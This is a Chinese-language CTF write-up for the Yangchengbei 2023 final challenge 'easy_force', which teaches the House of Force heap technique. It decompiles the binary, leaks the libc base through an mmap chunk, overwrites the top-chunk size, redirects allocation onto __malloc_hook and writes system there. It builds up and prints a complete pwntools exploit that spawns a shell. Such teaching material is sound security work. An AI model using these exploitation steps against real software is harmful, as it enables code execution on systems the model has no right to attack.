[羊城杯 2023 决赛]easy_force (很好的一个学习 House of Force 的例题)
准备
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int n2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); sub_4007D6(a1, a2, a3); puts("This day is schoolday,now teacher ask u to write somethings on the balckbroad"); puts("the teacher will leave some space on the balckbroad"); puts("u only give 4 times to reply"); while ( 1 ) { while ( 1 ) { sub_400961(); __isoc99_scanf("%d", &n2); if ( n2 != 2 ) break; sub_40093F(); } if ( n2 > 2 ) { if ( n2 == 3 ) { sub_400950(); } else if ( n2 == 4 ) { exit(1); } } else if ( n2 == 1 ) { sub_400819(); } } }
先是一个sub_400961(菜单)函数
sub_400961(菜单)函数 1 2 3 4 5 6 7 int sub_400961() { puts("1.ask for space"); puts("2.delet what u write"); puts("3.check what u write"); return puts("4.go away"); }
提示语是说有增删查
1-sub_400819(add)函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 sub_400819() { signed int n4; // [rsp+4h] [rbp-1Ch] BYREF size_t v2; // [rsp+8h] [rbp-18h] BYREF void *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("which index?"); __isoc99_scanf("%d", &n4); if ( (unsigned int)n4 > 4 || *(&buf + n4) ) { puts("already exist!"); exit(1); } puts("how much space do u want?"); __isoc99_scanf("%ld", &v2); size[n4] = v2; v3 = malloc(size[n4]); *(&buf + n4) = v3; puts("now what to write?"); read(0, *(&buf + n4), 0x30uLL); printf("the balckbroad on %p is in use\n", *(&buf + n4)); return __readfsqword(0x28u) ^ v4; }
这里限制创建堆块个数为5个,对创建的堆块大小没有限制 并且在最后会输出创建堆块的地址 在下面输入内容处,用read函数,读取输入最大48(0x30)个字节到块中,但当我们给的大小小于输入内容大小时,就会造成溢出
2-sub_40093F(delete)函数 1 2 3 4 int sub_40093F() { return puts("once u write, u can't clear it out!"); }
没什么用
3-sub_400950(show)函数 1 2 3 4 int sub_400950() { return puts("No! the teacher will check u answer"); }
没什么用
思路 这题虽然限制创建堆块个数,但够用,其他都满足 House of Force 的条件,所以这里有用 House of Force 手法,改 malloc_hook 打 system('/bin/sh') (概括思路和知识点看 House of Force 自己整理的学习知识点) 因为创建堆块时会泄露堆块地址,所以可以先使用基于 mmap chunk 和 libc 地址的固定偏移关系的方法去泄露 libc
知识点: 在处理大 chunk 时的行为:glibc 的 malloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。 默认情况下,这个阈值在 128 KB 左右(也可能是更大) (比如:malloc(0x20000) ➜ 会使用 mmap)
mmap 分配的大 chunk 地址规律:
使用 mmap() 分配的内存块,一般在 libc 映射地址之下;
在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;
利用:
申请一个超大 chunk(触发 mmap)
打印这个 chunk 的地址
减去偏移 ➜ 得到 libc base 这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。
libc.address (在知道 libc 文件时使用)libc.address是 pwntools 里的一个属性,其用途是设置 libc 库在内存中的基地址。一旦这个基地址被设置好,pwntools 就能自动计算出 libc 中各个函数和变量的实际地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28579) io= process('/home/motaly/easy') elf=ELF('/home/motaly/easy') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(index,size,content): io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(index)) io.sendlineafter("how much space do u want?\n", str(size)) io.sendlineafter("now what to write?\n",content) add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16) log.success("libc.address :"+hex(libc.address)) #gdb.attach(io)
这里创建的值一定要够大,才会使用 mmap 创建,先获取堆块地址,进行调试,获取堆块地址与libc 的固定偏移
1 2 3 4 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address))
有了 libc 基址后,开始使用 House of Force 手法通过溢出去修改 top chunk 的 size ,同时把 '/bin/sh' 写入 top chunk (注意:溢出需覆盖到 top chunk 的 size 字段时篡改后的 size 需满足 (size & 1) == 1(即 PREV_INUSE 位为 1),否则 glibc 会认为前一个块空闲,触发合并逻辑,导致利用失败。)
1 2 3 4 5 6 7 8 9 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top))
这里使用 p64(0xFFFFFFFFFFFFFFFF | 0x1) 强制设置PREV_INUSE 标志位 把 '/bin/sh' 写在 0xFFFFFFFFFFFFFFFF 前,以便后面通过 top chunk 调用 '/bin/sh' 考虑到后面创建堆块的 chunk 头部占用空间,这里填充的偏移量进行减少
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
0x20的值不是一定的,但其他的值需要具体调试,0x20是刚好后面往 malloc_hook 里面写入 system 此时已经计算了 malloc_hook 与 top chunk 间的大致距离,我们通过创建距离大小的堆块,使 top chunk 靠近 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr))
addr 就是创建后的 top chunk 地址 这里在创建一个堆块,内容是 system ,前面的 memalign_hook 和 realloc_hook 用做堆块头,内容输入开始的地方直接是 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1))
最后创建堆块,size 值给 top chunk 地址,触发 system('/bin/sh') (size 值原本我们给的是数值,会把这个数值给 rdi,现在给的是 top chunk 地址,给 rdi 的值就是 top chunk 的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1)) io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(4)) #gdb.attach(io) io.sendlineafter("how much space do u want?\n", str(top))
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28579) io= process('/home/motaly/easy') elf=ELF('/home/motaly/easy') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(index,size,content): io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(index)) io.sendlineafter("how much space do u want?\n", str(size)) io.sendlineafter("now what to write?\n",content) add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1)) io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(4)) io.sendlineafter("how much space do u want?\n", str(top)) io.interactive()